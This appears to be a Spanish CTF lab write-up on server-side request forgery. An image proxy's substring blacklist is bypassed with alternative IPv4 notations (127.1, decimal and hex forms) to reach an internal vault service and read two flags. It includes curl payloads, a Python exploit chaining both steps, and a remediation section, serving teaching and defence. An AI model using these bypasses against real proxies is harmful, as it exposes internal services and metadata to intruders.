Fullwidth · laboratorio 004 · media
El filtro lee texto; el parser lee direcciones.
Una lista negra de destinos que compara cadenas y un cliente HTTP que normaliza la URL antes de conectar. Es la clase de fallo de los avisos de Node.js de octubre de 2026: la comprobación de destino no contempla las grafías no estándar de una misma dirección.
En una línea. El proxy bloquea 127.0.0.1 pero conecta a lo que diga new URL(): pide 127.1, 2130706433 o 0x7f000001 y llegarás al servicio interno, que guarda las dos evidencias.
1 · El aviso del que sale la idea
El 21 de octubre de 2026 Node.js publicó diez correcciones. Tres de ellas —CVE-2026-105482, CVE-2026-105483 y CVE-2026-106069— comparten raíz: la verificación del destino no contempla grafías no estándar de una misma dirección IP. Si tu comprobación mira la cadena y tu cliente mira la dirección ya normalizada, hay una rendija.
Este laboratorio no reproduce el binario de Node: reproduce la clase de fallo con el mismo patrón, que es lo que te vas a encontrar en aplicaciones reales. La misma familia aparece en CVE-2026-50168 (Angular SSR, junio de 2026): la lista blanca valida con el parser estricto y el cliente resuelve con el permisivo.
2 · Reconocimiento
imgproxy escucha en el puerto 8080 y descarga imágenes «desde nuestro almacén».
curl -s 'http://<ip>:8080/fetch?url=http://images.internal/logo.png'
{"url":"...","error":"getaddrinfo ENOTFOUND images.internal"}
Y si apuntas a loopback, te para:
curl -s 'http://<ip>:8080/fetch?url=http://127.0.0.1:9091/latest/meta-data'
{"error":"destino no permitido"} # 403
El código del proxy está a la vista si lo deduces del comportamiento: compara el texto que llega contra una lista (127.0.0.1, localhost, 169.254, 0.0.0.0, ::1) y, si pasa, construye la URL con el parser y conecta.
3 · Cómo filtra
La comprobación es una búsqueda de subcadena sobre la cadena original. Todo lo que no contenga literalmente esos textos, pasa. Y el parser de URL de Node acepta varias formas de escribir la misma IPv4 y las convierte a la forma canónica después del filtro.
4 · Las grafías alternativas
Cualquiera de estas llega al servicio interno, que escucha solo en loopback:
http://127.1:9091/latest/meta-data # IPv4 abreviada
http://2130706433:9091/latest/meta-data # entero decimal de 127.0.0.1
http://0x7f000001:9091/latest/meta-data # hexadecimal
# las tres devuelven 200 y el JSON del servicio interno
El servicio se presenta solo y da la pista de lo que guarda:
{"service":"vault","instance":"imgproxy-01",
"routes":["/latest/meta-data/flag"],
"note":"el panel de administración pide X-Ticket con la evidencia de usuario (?ticket=...)"}
curl -s 'http://<ip>:8080/fetch?url=http://127.1:9091/latest/meta-data/flag'
{"flag":"BL{...}"} # /home/img/flag.txt
La familia de los dígitos de ancho completo (①②⑦.0.0.1) depende de la versión del parser: en Node 20 esta imagen no la normaliza y la petición falla con 502. En otros entornos sí. Si una forma no entra, prueba la siguiente — así se hace en un test real.
5 · La segunda evidencia
La segunda vive en /root/root.txt y el servicio corre como img: no puede leerla. Pero la ruta de administración del depósito no se conforma con llegar: pide la evidencia de usuario como ticket. Como el SSRF te deja elegir la URL entera, se la pasas en la query:
curl -s 'http://<ip>:8080/fetch?url=http://2130706433:9091/latest/admin/flag?ticket=BL%7B...%7D'
{"flag":"BL{...}"} # /root/root.txt
# sin el ticket correcto:
{"error":"ticket no válido"} # 403
Todo junto
import json, re, urllib.parse, urllib.request
IP = "<ip>"
def fetch(target):
url = "http://%s:8080/fetch?url=%s" % (IP, urllib.parse.quote(target, safe=""))
return json.loads(urllib.request.urlopen(url, timeout=20).read())
user = re.search(r"BL\{[0-9a-f]+\}", fetch("http://127.1:9091/latest/meta-data/flag")["body"]).group(0)
print(user)
admin = fetch("http://2130706433:9091/latest/admin/flag?ticket=" + urllib.parse.quote(user))
print(admin["body"])
6 · Cómo se arregla
- Compara direcciones, no cadenas. Parsea la URL, resuelve el nombre y decide sobre la IP resultante; el texto original no significa nada.
- Lista blanca, no lista negra. Permite solo el host que necesitas y rechaza el resto; las listas negras siempre van un paso por detrás.
- Bloquea después de resolver. Rechaza rangos privados, loopback y link-local sobre la IP final, y vuelve a comprobarlo tras cada redirección.
- Sin salida, sin SSRF. Si el proxy solo debe hablar con el almacén, una política de red que lo impida convierte un fallo de código en un fallo sin impacto.
- Loopback no es autenticación. El depósito interno pedía un ticket solo en la segunda ruta; cualquier proceso de la máquina podía leer la primera. Autentica también dentro de casa.